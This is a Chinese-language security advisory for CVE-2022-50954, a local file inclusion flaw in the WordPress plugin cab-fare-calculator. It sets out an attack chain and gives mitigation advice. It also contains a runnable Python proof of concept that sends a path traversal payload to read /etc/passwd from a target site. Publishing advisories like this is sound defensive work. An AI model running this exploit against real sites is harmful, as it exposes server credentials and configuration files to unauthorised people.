IPBUF安全漏洞报告
English
CVE-2022-50954 CVSS 6.2 中危

CVE-2022-50954 WordPress插件本地文件包含漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2022-50954
漏洞类型
本地文件包含 (LFI)
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Plugin cab-fare-calculator

相关标签

LFIWordPress本地文件包含路径遍历cab-fare-calculator

漏洞概述

WordPress插件cab-fare-calculator 1.0.3版本存在本地文件包含漏洞。由于该插件在tblight.php文件中未对controller参数进行严格的过滤和验证,未经身份认证的攻击者可以通过构造恶意路径遍历序列(如../),远程读取服务器上的敏感文件。该漏洞利用简单,无需用户交互,可能导致服务器配置信息或源代码泄露,对系统机密性造成严重影响。

技术细节

该漏洞的核心在于WordPress插件cab-fare-calculator对用户输入缺乏有效的安全过滤。在处理`tblight.php`请求时,程序直接获取GET参数`controller`的值,并将其作为文件路径的一部分进行文件包含操作(如include或require)。攻击者可以利用目录遍历序列(例如`../../../../`),突破预期的`controllers`目录限制。这使得未经身份认证的远程攻击者能够读取服务器上PHP进程有权访问的任意文件,包括系统配置文件(如`/etc/passwd`)、数据库凭据文件(如`wp-config.php`)或日志文件。虽然CVSS评分显示完整性影响为无,但敏感信息的泄露为进一步的攻击提供了便利,属于高风险的安全隐患。

攻击链分析

STEP 1
侦察
攻击者扫描目标站点,确认其运行WordPress并安装了cab-fare-calculator插件。
STEP 2
漏洞探测
攻击者向`/wp-content/plugins/cab-fare-calculator/tblight.php`发送请求,并在`controller`参数中注入路径遍历字符(如`../`)以验证过滤器缺失。
STEP 3
漏洞利用
攻击者构造包含特定系统文件路径(如`/etc/passwd`)的恶意GET请求,利用文件包含功能读取文件内容。
STEP 4
数据泄露
服务器返回请求的敏感文件内容,攻击者获取系统凭据或配置信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2022-50954 # Target: WordPress Plugin cab-fare-calculator 1.0.3 # Usage: python3 script.py http://target.com import requests import sys def exploit(url): target_url = f"{url}/wp-content/plugins/cab-fare-calculator/tblight.php" # Payload to read /etc/passwd params = { "controller": "../../../../../../../etc/passwd" } try: response = requests.get(target_url, params=params, timeout=5) if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability confirmed! /etc/passwd content:") print(response.text[:500]) else: print("[-] Vulnerability not found or target patched.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") else: exploit(sys.argv[1])

影响范围

cab-fare-calculator <= 1.0.3

防御指南

临时缓解措施
建议立即检查WordPress后台插件列表,将cab-fare-calculator更新至修复版本。若官方尚未发布修复补丁,应暂时停用该插件。此外,可部署Web应用防火墙(WAF)规则,拦截包含`../`或类似路径遍历特征的请求,以降低临时风险。

参考链接